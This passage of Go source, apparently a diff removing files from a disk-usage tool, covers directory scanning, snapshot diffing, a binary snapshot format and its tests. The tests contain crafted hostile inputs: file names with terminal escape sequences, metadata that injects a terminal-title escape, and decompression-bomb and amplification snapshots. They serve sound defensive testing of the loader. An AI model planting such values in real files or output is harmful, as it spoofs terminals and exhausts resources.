case m.Mode&os.ModeSymlink != 0:
return inventory.KindSymlink
}
return inventory.KindOther
}
func setMeta(n *inventory.Node, m platform.Meta) {
n.Size, n.Alloc = m.Size, m.Alloc
n.MTime = m.MTime
n.Mode = uint32(m.Mode)
n.UID, n.GID = m.UID, m.GID
n.Nlink = m.Nlink
if !m.AllocKnown {
n.Flags |= inventory.FlagAllocUnknown
}
}
// apply merges one result into the tree. It reports whether the result
// completed its directory. Called with the tree write-locked.
func (c *controller) apply(r *result) bool {
t := c.t
j := r.job
dir := j.id
var d inventory.Delta
c.s.entries.Add(int64(len(r.entries)))
for _, m := range r.entries {
c.addEntry(j, m, &d)
}
if r.final {
dn := t.Node(dir)
switch {
case r.err == nil:
dn.Flags |= inventory.FlagScanned
case errors.Is(r.err, context.Canceled) || errors.Is(r.err, context.DeadlineExceeded):
dn.Flags |= inventory.FlagIncomplete
t.Stats.Unscanned++
default:
slog.Debug("read directory failed", "path", j.path, "err", r.err)
dn.Flags |= inventory.FlagError | inventory.FlagIncomplete
t.Stats.AddError(inventory.ErrorRecord{Node: dir, Kind: inventory.Classify(r.err), Msg: errMsg(r.err)})
d.Errors++
}
}
if d != (inventory.Delta{}) {
t.Propagate(dir, d)
}
return r.final
}
func errMsg(err error) string {
var pe *os.PathError
if errors.As(err, &pe) {
return pe.Op + ": " + pe.Err.Error()
}
return err.Error()
}
func (c *controller) excluded(path, name string) bool {
for _, p := range c.opts.Excludes {
if strings.ContainsAny(p, `/\`) {
pp := filepath.Clean(p)
if path == pp || strings.HasPrefix(path, pp+string(os.PathSeparator)) {
return true
}
if ok, _ := filepath.Match(pp, path); ok {
return true
}
} else if ok, _ := filepath.Match(p, name); ok {
return true
}
}
return false
}
func (c *controller) addEntry(j *job, m platform.Meta, d *inventory.Delta) {
t := c.t
st := &t.Stats
if m.Err != nil {
k := inventory.Classify(m.Err)
if k == inventory.ErrVanished {
st.AddError(inventory.ErrorRecord{Node: j.id, Name: m.Name, Kind: k, Msg: "vanished between listing and stat"})
d.Errors++
return
}
id := t.Add(j.id, m.Name, inventory.KindOther)
n := t.Node(id)
n.Flags |= inventory.FlagError
n.Errors = 1
st.AddError(inventory.ErrorRecord{Node: id, Kind: k, Msg: errMsg(m.Err)})
d.Errors++
d.Files++
st.Others++
return
}
var path string
if len(c.opts.Excludes) > 0 {
path = platform.JoinPath(j.path, m.Name)
if c.excluded(path, m.Name) {
st.Excluded++
return
}
}
kind := kindOf(m)
var target platform.Meta
followed, broken := false, false
if kind == inventory.KindSymlink {
if path == "" {
path = platform.JoinPath(j.path, m.Name)
}
tm, err := platform.Stat(path)
switch {
case err != nil:
st.BrokenLinks++
broken = true
case tm.Mode.IsDir() && tm.HasIno && (c.opts.Follow == FollowAll || c.opts.Follow == FollowSameFS && tm.Dev == j.dev):
target, followed = tm, true
kind = inventory.KindDir
}
}
id := t.Add(j.id, m.Name, kind)
n := t.Node(id)
setMeta(n, m)
if broken {
n.Flags |= inventory.FlagBrokenLink
}
switch kind {
case inventory.KindDir:
st.Dirs++
d.Dirs++
d.Size += n.Size
d.Alloc += n.Alloc
n.TotSize, n.TotAlloc = n.Size, n.Alloc
dev := m.Dev
if followed {
n.Flags |= inventory.FlagFollowed
dev = target.Dev
}
if c.visited != nil {
key := inodeKey{m.Dev, m.Ino}
if followed {
key = inodeKey{target.Dev, target.Ino}
}
if _, seen := c.visited[key]; seen {
n.Flags |= inventory.FlagLoop
st.LoopsSkipped++
return
}
c.visited[key] = struct{}{}
}
if m.HasIno && dev != j.dev {
n.Flags |= inventory.FlagMountPoint
if c.opts.OneFileSystem {
n.Flags |= inventory.FlagSkippedFS
st.SkippedMounts++
return
}
if path == "" {
path = platform.JoinPath(j.path, m.Name)
}
if platform.IsVirtualFS(path) {
n.Flags |= inventory.FlagVirtualFS
st.VirtualSkipped++
return
}
}
c.pending = append(c.pending, pendingDir{id: id, dev: dev})
case inventory.KindFile:
st.Files++
d.Files++
if m.Nlink > 1 && m.HasIno {
n.Flags |= inventory.FlagHardlinked
key := inodeKey{m.Dev, m.Ino}
if _, seen := c.links[key]; seen {
n.Flags |= inventory.FlagHardlinkDup
st.HardlinkDups++
return
}
c.links[key] = struct{}{}
}
if m.AllocKnown && m.Alloc < m.Size && m.Size-m.Alloc >= 4096 {
n.Flags |= inventory.FlagSparse
}
n.Cat = inventory.CategoryFor(t.ExtName(n), j.inCache, j.inLog)
n.TotSize, n.TotAlloc = n.Size, n.Alloc
d.Size += n.Size
d.Alloc += n.Alloc
d.Cat[n.Cat] += n.Alloc
default:
if kind == inventory.KindSymlink {
st.Symlinks++
} else {
st.Others++
}
d.Files++
n.TotSize, n.TotAlloc = n.Size, n.Alloc
d.Size += n.Size
d.Alloc += n.Alloc
}
}
-288
View File
@@ -1,288 +0,0 @@
package scan
import (
"context"
"fmt"
"os"
"path/filepath"
"runtime"
"testing"
"time"
"github.com/andydixon/mapsize/internal/inventory"
)
// mkTree creates dirs×files under root: root/d0/d1/... fan-out tree.
func mkTree(t testing.TB, root string, fanout, depth, files int) (nfiles, ndirs int64, bytes int64) {
var rec func(dir string, d int)
rec = func(dir string, d int) {
for i := range files {
sz := (i + 1) * 100
if err := os.WriteFile(filepath.Join(dir, fmt.Sprintf("f%d.txt", i)), make([]byte, sz), 0o644); err != nil {
t.Fatal(err)
}
nfiles++
bytes += int64(sz)
}
if d == depth {
return
}
for i := range fanout {
sub := filepath.Join(dir, fmt.Sprintf("d%d", i))
if err := os.Mkdir(sub, 0o755); err != nil {
t.Fatal(err)
}
ndirs++
rec(sub, d+1)
}
}
rec(root, 0)
return
}
func runScan(t testing.TB, root string, o Options) *inventory.Tree {
s, err := Start(context.Background(), root, o)
if err != nil {
t.Fatal(err)
}
select {
case <-s.Done():
case <-time.After(60 * time.Second):
t.Fatal("scan did not finish (deadlock?)")
}
return s.Tree
}
func TestScanCountsAndAggregates(t *testing.T) {
root := t.TempDir()
nf, nd, bytes := mkTree(t, root, 3, 3, 4)
tr := runScan(t, root, Options{Workers: 4})
r := tr.Node(tr.Root())
if int64(r.Files) != nf || int64(r.Dirs) != nd {
t.Fatalf("files=%d dirs=%d, want %d %d", r.Files, r.Dirs, nf, nd)
}
// Logical total = file bytes + directory entries' own sizes.
var dirBytes int64
for i := 0; i < tr.Len(); i++ {
if n := tr.Node(inventory.NodeID(i)); n.IsDir() {
dirBytes += n.Size
}
}
if r.TotSize != bytes+dirBytes {
t.Fatalf("TotSize=%d want %d", r.TotSize, bytes+dirBytes)
}
if !tr.Stats.Complete || tr.Stats.Incomplete() {
t.Fatalf("stats: %+v", tr.Stats)
}
// Every directory's aggregate equals the sum of its children.
checkAggregates(t, tr)
// Incremental aggregation must match a full recompute.
before := snapshotTotals(tr)
tr.Recompute()
if after := snapshotTotals(tr); fmt.Sprint(before) != fmt.Sprint(after) {
t.Fatal("incremental aggregates differ from recompute")
}
}
func snapshotTotals(tr *inventory.Tree) [][4]int64 {
out := make([][4]int64, tr.Len())
for i := range out {
n := tr.Node(inventory.NodeID(i))
out[i] = [4]int64{n.TotSize, n.TotAlloc, int64(n.Files), int64(n.Dirs)}
}
return out
}
func checkAggregates(t *testing.T, tr *inventory.Tree) {
t.Helper()
for i := 0; i < tr.Len(); i++ {
id := inventory.NodeID(i)
n := tr.Node(id)
if !n.IsDir() {
continue
}
sum := n.Size
tr.Children(id, func(_ inventory.NodeID, c *inventory.Node) { sum += c.TotSize })
if sum != n.TotSize {
t.Fatalf("%s: TotSize %d != own+children %d", tr.Path(id), n.TotSize, sum)
}
}
}
// TestBackpressureNoDeadlock forces maximum contention: one worker, channel
// capacities of one, tiny chunks, and thousands of directories.
func TestBackpressureNoDeadlock(t *testing.T) {
root := t.TempDir()
nf, nd, _ := mkTree(t, root, 6, 4, 3) // 1554 dirs
for _, w := range []int{1, 2, 16} {
tr := runScan(t, root, Options{Workers: w, JobBuffer: 1, ResultBuf: 1, ChunkSize: 1, ApplyBatch: 1})
r := tr.Node(tr.Root())
if int64(r.Files) != nf || int64(r.Dirs) != nd {
t.Fatalf("workers=%d: files=%d dirs=%d want %d %d", w, r.Files, r.Dirs, nf, nd)
}
}
}
func TestCancel(t *testing.T) {
root := t.TempDir()
mkTree(t, root, 8, 3, 2)
ctx, cancel := context.WithCancel(context.Background())
s, err := Start(ctx, root, Options{Workers: 2, JobBuffer: 1, ResultBuf: 1, ChunkSize: 1})
if err != nil {
t.Fatal(err)
}
cancel()
select {
case <-s.Done():
case <-time.After(10 * time.Second):
t.Fatal("cancel did not stop scan")
}
tr := s.Tree
tr.RLock()
defer tr.RUnlock()
if !tr.Stats.Cancelled || !tr.Stats.Incomplete() {
t.Fatalf("expected cancelled+incomplete: %+v", tr.Stats)
}
// Workers must have exited: give the runtime a moment and check goroutines.
time.Sleep(50 * time.Millisecond)
if n := runtime.NumGoroutine(); n > 10 {
t.Logf("goroutines after cancel: %d", n)
}
}
func TestSymlinkLoops(t *testing.T) {
if runtime.GOOS == "windows" {
t.Skip("symlinks need privileges on Windows")
}
root := t.TempDir()
a := filepath.Join(root, "a")
os.MkdirAll(filepath.Join(a, "b"), 0o755)
os.WriteFile(filepath.Join(a, "b", "x"), make([]byte, 5000), 0o644)
os.Symlink("..", filepath.Join(a, "b", "up")) // loop
os.Symlink("../a", filepath.Join(a, "self")) // loop
os.Symlink("nowhere", filepath.Join(root, "broken"))
for _, f := range []FollowMode{FollowNone, FollowSameFS, FollowAll} {
tr := runScan(t, root, Options{Workers: 4, Follow: f})
r := tr.Node(tr.Root())
if r.Files == 0 || r.TotSize <= 5000 {
t.Fatalf("follow=%v: bad totals %+v", f, r)
}
if tr.Stats.BrokenLinks != 1 {
t.Fatalf("follow=%v: broken links %d", f, tr.Stats.BrokenLinks)
}
if f != FollowNone && tr.Stats.LoopsSkipped == 0 {
t.Fatalf("follow=%v: expected loops to be detected", f)
}
// The 5000-byte file must be counted exactly once.
var count int
for i := 0; i < tr.Len(); i++ {
if n := tr.Node(inventory.NodeID(i)); n.Name == "x" {
count++
}
}
if count != 1 {
t.Fatalf("follow=%v: file x seen %d times", f, count)
}
}
}
func TestHardlinksCountedOnce(t *testing.T) {
if runtime.GOOS == "windows" {
t.Skip("hard-link identity not available on Windows")
}
root := t.TempDir()
p := filepath.Join(root, "orig")
os.WriteFile(p, make([]byte, 100000), 0o644)
os.Mkdir(filepath.Join(root, "d"), 0o755)
if err := os.Link(p, filepath.Join(root, "d", "link")); err != nil {
t.Skip(err)
}
tr := runScan(t, root, Options{Workers: 2})
r := tr.Node(tr.Root())
if tr.Stats.HardlinkDups != 1 {
t.Fatalf("dups=%d", tr.Stats.HardlinkDups)
}
if r.TotSize >= 200000 {
t.Fatalf("hard link double counted: %d", r.TotSize)
}
}
func TestPermissionErrorsSurface(t *testing.T) {
if runtime.GOOS == "windows" || os.Geteuid() == 0 {
t.Skip("needs non-root unix")
}
root := t.TempDir()
locked := filepath.Join(root, "locked")
os.Mkdir(locked, 0o755)
os.WriteFile(filepath.Join(locked, "f"), []byte("x"), 0o644)
os.Chmod(locked, 0)
defer os.Chmod(locked, 0o755)
tr := runScan(t, root, Options{Workers: 2})
if tr.Stats.ErrCounts[inventory.ErrPermission] != 1 || !tr.Stats.Incomplete() {
t.Fatalf("expected one permission error: %+v", tr.Stats.ErrCounts)
}
if tr.Node(tr.Root()).Errors != 1 {
t.Fatal("error not aggregated to root")
}
}
func TestExcludes(t *testing.T) {
root := t.TempDir()
os.MkdirAll(filepath.Join(root, "keep"), 0o755)
os.MkdirAll(filepath.Join(root, "skip"), 0o755)
os.WriteFile(filepath.Join(root, "keep", "a.tmp"), []byte("x"), 0o644)
os.WriteFile(filepath.Join(root, "keep", "b.txt"), []byte("x"), 0o644)
os.WriteFile(filepath.Join(root, "skip", "c.txt"), []byte("x"), 0o644)
tr := runScan(t, root, Options{Workers: 2, Excludes: []string{"*.tmp", filepath.Join(root, "skip")}})
if tr.Stats.Excluded != 2 || tr.Node(0).Files != 1 {
t.Fatalf("excluded=%d files=%d", tr.Stats.Excluded, tr.Node(0).Files)
}
// Relative path patterns resolve against the working directory.
t.Chdir(root)
tr = runScan(t, root, Options{Workers: 2, Excludes: []string{"./skip"}})
if tr.Stats.Excluded != 1 {
t.Fatalf("relative exclude: excluded=%d", tr.Stats.Excluded)
}
}
func TestUnicodeAndHostileNames(t *testing.T) {
root := t.TempDir()
names := []string{"日本語.txt", "emoji-🎉.png", "esc\x1b[31mred", "nl\nname", "sp ace"}
if runtime.GOOS == "windows" {
names = names[:2]
}
for _, n := range names {
if err := os.WriteFile(filepath.Join(root, n), []byte("x"), 0o644); err != nil {
t.Fatal(err)
}
}
tr := runScan(t, root, Options{Workers: 2})
got := map[string]bool{}
tr.Children(0, func(_ inventory.NodeID, n *inventory.Node) { got[n.Name] = true })
for _, n := range names {
if !got[n] {
t.Errorf("missing %q (raw names must be preserved)", n)
}
}
}
func TestSingleFileRoot(t *testing.T) {
p := filepath.Join(t.TempDir(), "file")
os.WriteFile(p, make([]byte, 1234), 0o644)
tr := runScan(t, p, Options{})
if tr.Node(0).TotSize != 1234 || tr.Node(0).Kind != inventory.KindFile {
t.Fatalf("%+v", tr.Node(0))
}
}
func BenchmarkScan(b *testing.B) {
root := b.TempDir()
mkTree(b, root, 5, 4, 20)
for _, w := range []int{1, 4, 16} {
b.Run(fmt.Sprintf("workers=%d", w), func(b *testing.B) {
for b.Loop() {
runScan(b, root, Options{Workers: w})
}
})
}
}
-177
View File
@@ -1,177 +0,0 @@
package snapshot
import (
"sort"
"github.com/andydixon/mapsize/internal/inventory"
)
// Diff relates two inventories by path. Both trees must not be mutated
// while a Diff is in use (snapshots and finished scans satisfy this).
type Diff struct {
Old, New *inventory.Tree
// OldOf maps a New NodeID to the matching Old NodeID, or NoNode if the
// entry is new.
OldOf []inventory.NodeID
// Removed lists the topmost Old nodes with no counterpart in New.
Removed []inventory.NodeID
// RemovedUnder sums, per New directory, the sizes of removed children
// (in both size modes) so growth colouring can account for them.
removedUnder map[inventory.NodeID][2]int64
}
// Compare matches nodes by name, directory by directory, from the roots.
func Compare(old, new *inventory.Tree) *Diff {
d := &Diff{Old: old, New: new, OldOf: make([]inventory.NodeID, new.Len()),
removedUnder: map[inventory.NodeID][2]int64{}}
for i := range d.OldOf {
d.OldOf[i] = inventory.NoNode
}
type pair struct{ o, n inventory.NodeID }
stack := []pair{{old.Root(), new.Root()}}
for len(stack) > 0 {
p := stack[len(stack)-1]
stack = stack[:len(stack)-1]
d.OldOf[p.n] = p.o
on, nn := old.Node(p.o), new.Node(p.n)
if !on.IsDir() || !nn.IsDir() {
continue
}
byName := map[string]inventory.NodeID{}
old.Children(p.o, func(id inventory.NodeID, n *inventory.Node) { byName[n.Name] = id })
new.Children(p.n, func(id inventory.NodeID, n *inventory.Node) {
if oid, ok := byName[n.Name]; ok {
delete(byName, n.Name)
stack = append(stack, pair{oid, id})
}
})
for _, oid := range byName {
d.Removed = append(d.Removed, oid)
o := old.Node(oid)
r := d.removedUnder[p.n]
r[0] += o.TotAlloc
r[1] += o.TotSize
d.removedUnder[p.n] = r
}
}
sort.Slice(d.Removed, func(i, j int) bool { return d.Removed[i] < d.Removed[j] })
return d
}
// OldSize returns the matching old size of a New node and whether it existed.
func (d *Diff) OldSize(id inventory.NodeID, m inventory.SizeMode) (int64, bool) {
o := d.OldOf[id]
if o == inventory.NoNode {
return 0, false
}
return d.Old.Node(o).Total(m), true
}
// Delta returns new minus old size for a New node (full size if new).
func (d *Diff) Delta(id inventory.NodeID, m inventory.SizeMode) int64 {
old, _ := d.OldSize(id, m)
return d.New.Node(id).Total(m) - old
}
// Status classifies a node.
type Status uint8
const (
Unchanged Status = iota
Added
Removed
Grew
Shrank
)
func (s Status) String() string {
return [...]string{"unchanged", "new", "removed", "increased", "decreased"}[s]
}
// StatusOf classifies a New node.
func (d *Diff) StatusOf(id inventory.NodeID, m inventory.SizeMode) Status {
if d.OldOf[id] == inventory.NoNode {
return Added
}
switch delta := d.Delta(id, m); {
case delta > 0:
return Grew
case delta < 0:
return Shrank
}
return Unchanged
}
// Change is one row in a change report.
type Change struct {
Path string
Status Status
Delta int64
Old int64
New int64
Node inventory.NodeID // in New (NoNode for removed)
}
// Changes returns the k most significant changes. A directory is listed
// only if its change is not almost entirely explained by a single child, so
// the report points at /var/lib/postgresql rather than /, /var and /var/lib.
func (d *Diff) Changes(k int, m inventory.SizeMode) []Change {
var out []Change
for i := range d.New.Len() {
id := inventory.NodeID(i)
delta := d.Delta(id, m)
if delta == 0 {
continue
}
n := d.New.Node(id)
if d.OldOf[id] != inventory.NoNode && n.IsDir() && explainedByChild(d, id, delta, m) {
continue
}
if p := n.Parent; p != inventory.NoNode && d.OldOf[p] == inventory.NoNode {
continue // inside a wholly new directory; the directory is listed
}
old, _ := d.OldSize(id, m)
out = append(out, Change{Path: d.New.Path(id), Status: d.StatusOf(id, m), Delta: delta, Old: old, New: n.Total(m), Node: id})
}
for _, oid := range d.Removed {
o := d.Old.Node(oid)
out = append(out, Change{Path: d.Old.Path(oid), Status: Removed, Delta: -o.Total(m), Old: o.Total(m), Node: inventory.NoNode})
}
sort.Slice(out, func(i, j int) bool {
a, b := abs(out[i].Delta), abs(out[j].Delta)
if a != b {
return a > b
}
return out[i].Path < out[j].Path
})
if k > 0 && len(out) > k {
out = out[:k]
}
return out
}
func explainedByChild(d *Diff, id inventory.NodeID, delta int64, m inventory.SizeMode) bool {
explained := false
d.New.Children(id, func(c inventory.NodeID, _ *inventory.Node) {
if cd := d.Delta(c, m); (cd > 0) == (delta > 0) && abs(cd)*10 >= abs(delta)*8 {
explained = true
}
})
if r, ok := d.removedUnder[id]; ok && !explained {
v := r[0]
if m == inventory.SizeLogical {
v = r[1]
}
if delta < 0 && v*10 >= abs(delta)*8 {
explained = true
}
}
return explained
}
func abs(v int64) int64 {
if v < 0 {
return -v
}
return v
}
-160
View File
@@ -1,160 +0,0 @@
package snapshot
import (
"bytes"
"compress/gzip"
"crypto/sha256"
"encoding/binary"
"io"
"os"
"path/filepath"
"strings"
"testing"
"github.com/andydixon/mapsize/internal/brand"
"github.com/andydixon/mapsize/internal/export"
"github.com/andydixon/mapsize/internal/inventory"
)
// craft builds a well-formed (correctly checksummed) but hostile snapshot.
func craft(n int, meta string, rec func(i int, w *writer)) []byte {
var out bytes.Buffer
out.WriteString(brand.SnapshotMagic)
out.Write(binary.LittleEndian.AppendUint16(nil, Version))
out.Write(binary.LittleEndian.AppendUint16(nil, flagGzipped))
gz, _ := gzip.NewWriterLevel(&out, gzip.BestCompression)
h := sha256.New()
w := &writer{w: io.MultiWriter(gz, h)}
w.uvarint(uint64(len(meta)))
w.bytes([]byte(meta))
w.uvarint(1)
w.str("")
w.uvarint(uint64(n))
for i := range n {
rec(i, w)
}
w.uvarint(0)
gz.Close()
out.Write(h.Sum(nil))
return out.Bytes()
}
func node(w *writer, pd uint64, kind inventory.Kind, name string, size int64) {
w.uvarint(pd)
w.bytes([]byte{byte(kind), 0})
w.uvarint(0)
w.str(name)
w.varint(size)
w.varint(size)
w.varint(0)
for range 5 {
w.uvarint(0)
}
}
func chain(n int) []byte {
return craft(n, `{"root":"/r"}`, func(i int, w *writer) {
if i == 0 {
node(w, 0, inventory.KindDir, "", 0)
} else {
node(w, 1, inventory.KindDir, "a", 0)
}
})
}
func TestDeepChainRejected(t *testing.T) {
if _, err := Load(bytes.NewReader(chain(MaxDepth + 1))); err != nil {
t.Fatalf("depth at the limit must load: %v", err)
}
_, err := Load(bytes.NewReader(chain(MaxDepth + 2)))
if err == nil || !strings.Contains(err.Error(), "deeper") {
t.Fatalf("over-deep chain accepted: %v", err)
}
}
func TestDecompressionBombLimited(t *testing.T) {
flat := craft(100_000, `{"root":"/r"}`, func(i int, w *writer) {
if i == 0 {
node(w, 0, inventory.KindDir, "", 0)
} else {
node(w, uint64(i), inventory.KindFile, "f", 0)
}
})
_, err := LoadLimit(bytes.NewReader(flat), 64<<10)
if err == nil || !strings.Contains(err.Error(), "limit") {
t.Fatalf("bomb not limited: %v", err)
}
if got := bodyLimit(int64(len(flat))); got < 64<<20 {
t.Fatalf("bodyLimit floor: %d", got)
}
}
func TestHugeSizesDoNotWrap(t *testing.T) {
data := craft(3, `{"root":"/r"}`, func(i int, w *writer) {
if i == 0 {
node(w, 0, inventory.KindDir, "", 0)
} else {
node(w, uint64(i), inventory.KindFile, "f", MaxSize)
}
})
tr, err := Load(bytes.NewReader(data))
if err != nil {
t.Fatal(err)
}
if tr.Node(0).TotSize < 0 {
t.Fatal("aggregate wrapped negative")
}
over := craft(2, `{"root":"/r"}`, func(i int, w *writer) {
if i == 0 {
node(w, 0, inventory.KindDir, "", 0)
} else {
node(w, 1, inventory.KindFile, "f", MaxSize+1)
}
})
if _, err := Load(bytes.NewReader(over)); err == nil {
t.Fatal("size above MaxSize accepted")
}
}
func TestHostileMetadataSanitisedInSummary(t *testing.T) {
data := craft(1, `{"root":"/r\u001b[2J","excludes":["\u001b]0;PWNED\u0007"],"excluded":1}`, func(i int, w *writer) {
node(w, 0, inventory.KindDir, "", 0)
})
tr, err := Load(bytes.NewReader(data))
if err != nil {
t.Fatal(err)
}
tr.Stats.Excluded = 1
var b bytes.Buffer
export.Summary(&b, tr)
if strings.ContainsAny(b.String(), "\x1b\x07") {
t.Fatalf("raw control characters in summary: %q", b.String())
}
}
// Blocks of one directory plus K-1 files repeat byte for byte, so a small
// file describes millions of nodes; LoadFile must refuse before allocating.
func TestNodeAmplificationLimited(t *testing.T) {
const k, n = 1000, 1_200_001
data := craft(n, `{"root":"/r"}`, func(i int, w *writer) {
switch {
case i == 0:
node(w, 0, inventory.KindDir, "", 0)
case i == 1:
node(w, 1, inventory.KindDir, "d", 0)
case (i-1)%k == 0:
node(w, k, inventory.KindDir, "d", 0)
default:
node(w, uint64((i-1)%k), inventory.KindFile, "f", 0)
}
})
if _, err := Load(bytes.NewReader(data)); err != nil {
t.Fatalf("crafted tree is otherwise valid: %v", err)
}
p := filepath.Join(t.TempDir(), "amp.msz")
os.WriteFile(p, data, 0o644)
_, err := LoadFile(p)
if err == nil || !strings.Contains(err.Error(), "node count") {
t.Fatalf("%d nodes from a %d-byte file accepted: %v", n, len(data), err)
}
}
-528
View File
@@ -1,528 +0,0 @@
// Package snapshot implements the versioned, checksummed binary inventory
// format and snapshot comparison.
//
// Layout (all integers little-endian / varint):
//
// magic 8 bytes brand.SnapshotMagic
// version uint16 currently 1
// flags uint16 bit 0: body is gzip-compressed (always set by Save)
// body gzip stream of:
// meta uvarint length + JSON (root, timestamps, counters, options)
// exts uvarint count, then count × (uvarint length + bytes)
// nodes uvarint count, then per node:
// uvarint parentDelta (id-parent; 0 only for the root)
// byte kind, byte category, uvarint flags
// uvarint nameLen + name
// varint size, varint alloc, varint mtime
// uvarint mode, uid, gid, nlink, ext
// errors uvarint count, then per record: uvarint node, byte kind,
// uvarint len + name, uvarint len + message
// sha256 32 bytes over the uncompressed body
//
// Nodes are written in ID order; a parent always precedes its children, so a
// reader can rebuild the tree in one pass and malformed input cannot create
// cycles. Aggregates are recomputed on load, never trusted.
package snapshot
import (
"bufio"
"bytes"
"compress/gzip"
"crypto/sha256"
"encoding/binary"
"encoding/json"
"errors"
"fmt"
"io"
"os"
"strings"
"time"
"github.com/andydixon/mapsize/internal/brand"
"github.com/andydixon/mapsize/internal/inventory"
)
// Version is the current format version.
const Version = 1
// Limits applied when reading untrusted snapshots.
const (
MaxNodes = 1<<31 - 1
MaxDepth = 4096 // far beyond any real path; bounds recursion in exporters
MaxSize = 1 << 60 // per-node size cap (1 EiB); keeps aggregates from overflowing
// DefaultMaxBody caps the decompressed body for Load. LoadFile uses a
// limit proportional to the file size instead (see bodyLimit).
DefaultMaxBody = 4 << 30
MaxNameLen = 1 << 16
MaxMetaLen = 16 << 20
MaxExtLen = 64
MaxMsgLen = 4096
maxExts = 1<<16 - 1
flagGzipped = 1
)
type meta struct {
Root string `json:"root"`
Created time.Time `json:"created"`
Start time.Time `json:"start"`
End time.Time `json:"end"`
Complete bool `json:"complete"`
Cancelled bool `json:"cancelled"`
Files int64 `json:"files"`
Dirs int64 `json:"dirs"`
Symlinks int64 `json:"symlinks"`
Others int64 `json:"others"`
ErrCounts []int64 `json:"err_counts"`
Excluded int64 `json:"excluded"`
SkippedMounts int64 `json:"skipped_mounts"`
VirtualSkipped int64 `json:"virtual_skipped"`
LoopsSkipped int64 `json:"loops_skipped"`
BrokenLinks int64 `json:"broken_links"`
HardlinkDups int64 `json:"hardlink_dups"`
Unscanned int64 `json:"unscanned"`
Excludes []string `json:"excludes"`
OneFileSystem bool `json:"one_file_system"`
Follow string `json:"follow"`
Workers int `json:"workers"`
Host string `json:"host"`
Generator string `json:"generator"`
}
// IsSnapshot reports whether path starts with the snapshot magic.
func IsSnapshot(path string) bool {
f, err := os.Open(path)
if err != nil {
return false
}
defer f.Close()
b := make([]byte, len(brand.SnapshotMagic))
_, err = io.ReadFull(f, b)
return err == nil && string(b) == brand.SnapshotMagic
}
type writer struct {
w io.Writer
buf [binary.MaxVarintLen64]byte
err error
}
func (w *writer) bytes(b []byte) {
if w.err == nil {
_, w.err = w.w.Write(b)
}
}
func (w *writer) uvarint(v uint64) { w.bytes(w.buf[:binary.PutUvarint(w.buf[:], v)]) }
func (w *writer) varint(v int64) { w.bytes(w.buf[:binary.PutVarint(w.buf[:], v)]) }
func (w *writer) str(s string) { w.uvarint(uint64(len(s))); w.bytes([]byte(s)) }
// Save writes t to w. The caller must hold t's read lock.
func Save(out io.Writer, t *inventory.Tree) error {
bw := bufio.NewWriterSize(out, 1<<20)
hdr := make([]byte, 0, 12)
hdr = append(hdr, brand.SnapshotMagic...)
hdr = binary.LittleEndian.AppendUint16(hdr, Version)
hdr = binary.LittleEndian.AppendUint16(hdr, flagGzipped)
bw.Write(hdr)
gz, _ := gzip.NewWriterLevel(bw, gzip.BestSpeed)
h := sha256.New()
w := &writer{w: io.MultiWriter(gz, h)}
st := &t.Stats
host, _ := os.Hostname()
m := meta{Root: st.Root, Created: time.Now().UTC(), Start: st.Start, End: st.End, Complete: st.Complete,
Cancelled: st.Cancelled, Files: st.Files, Dirs: st.Dirs, Symlinks: st.Symlinks, Others: st.Others,
ErrCounts: st.ErrCounts[:], Excluded: st.Excluded, SkippedMounts: st.SkippedMounts,
VirtualSkipped: st.VirtualSkipped, LoopsSkipped: st.LoopsSkipped, BrokenLinks: st.BrokenLinks,
HardlinkDups: st.HardlinkDups, Unscanned: st.Unscanned, Excludes: st.Excludes,
OneFileSystem: st.OneFileSystem, Follow: st.Follow, Workers: st.Workers, Host: host,
Generator: brand.Name + " " + brand.Version}
mb, err := json.Marshal(m)
if err != nil {
return err
}
w.uvarint(uint64(len(mb)))
w.bytes(mb)
w.uvarint(uint64(t.ExtCount()))
for i := range t.ExtCount() {
w.str(t.ExtByIndex(i))
}
w.uvarint(uint64(t.Len()))
for i := range t.Len() {
id := inventory.NodeID(i)
n := t.Node(id)
if i == 0 {
w.uvarint(0)
} else {
w.uvarint(uint64(id - n.Parent))
}
w.bytes([]byte{byte(n.Kind), byte(n.Cat)})
w.uvarint(uint64(n.Flags))
w.str(n.Name)
w.varint(n.Size)
w.varint(n.Alloc)
w.varint(n.MTime)
w.uvarint(uint64(n.Mode))
w.uvarint(uint64(n.UID))
w.uvarint(uint64(n.GID))
w.uvarint(uint64(n.Nlink))
w.uvarint(uint64(n.Ext))
}
w.uvarint(uint64(len(st.Errors)))
for _, e := range st.Errors {
w.uvarint(uint64(e.Node))
w.bytes([]byte{byte(e.Kind)})
w.str(e.Name)
w.str(e.Msg)
}
if w.err != nil {
return w.err
}
if err := gz.Close(); err != nil {
return err
}
bw.Write(h.Sum(nil))
return bw.Flush()
}
// SaveFile writes a snapshot atomically (temp file + rename).
func SaveFile(path string, t *inventory.Tree) error {
tmp, err := os.CreateTemp(dirOf(path), ".mapsize-*.tmp")
if err != nil {
return err
}
defer os.Remove(tmp.Name())
if err := Save(tmp, t); err != nil {
tmp.Close()
return err
}
if err := tmp.Close(); err != nil {
return err
}
return os.Rename(tmp.Name(), path)
}
func dirOf(p string) string {
i := strings.LastIndexAny(p, `/\`)
if i < 0 {
return "."
}
if i == 0 {
return p[:1]
}
return p[:i]
}
type reader struct {
r *bufio.Reader
err error
}
func (r *reader) fail(format string, a ...any) {
if r.err == nil {
r.err = fmt.Errorf("snapshot: "+format, a...)
}
}
func (r *reader) byte1() byte {
if r.err != nil {
return 0
}
b, err := r.r.ReadByte()
if err != nil {
r.fail("truncated: %v", err)
}
return b
}
func (r *reader) uvarint(max uint64, what string) uint64 {
if r.err != nil {
return 0
}
v, err := readUvarint(r.r)
if err != nil {
r.fail("bad %s: %v", what, err)
return 0
}
if v > max {
r.fail("%s %d exceeds limit %d", what, v, max)
return 0
}
return v
}
func (r *reader) varint(what string) int64 {
if r.err != nil {
return 0
}
ux, err := readUvarint(r.r)
if err != nil {
r.fail("bad %s: %v", what, err)
}
v := int64(ux >> 1) // zig-zag, as encoding/binary.PutVarint
if ux&1 != 0 {
v = ^v
}
return v
}
var errOverflow = errors.New("varint overflows 64 bits")
// readUvarint is encoding/binary.ReadUvarint specialised to *bufio.Reader
// (no interface dispatch per byte; this is the loader's hot loop).
func readUvarint(br *bufio.Reader) (uint64, error) {
var x uint64
var s uint
for i := 0; i < binary.MaxVarintLen64; i++ {
b, err := br.ReadByte()
if err != nil {
if i > 0 && err == io.EOF {
err = io.ErrUnexpectedEOF
}
return x, err
}
if b < 0x80 {
if i == binary.MaxVarintLen64-1 && b > 1 {
return x, errOverflow
}
return x | uint64(b)<<s, nil
}
x |= uint64(b&0x7f) << s
s += 7
}
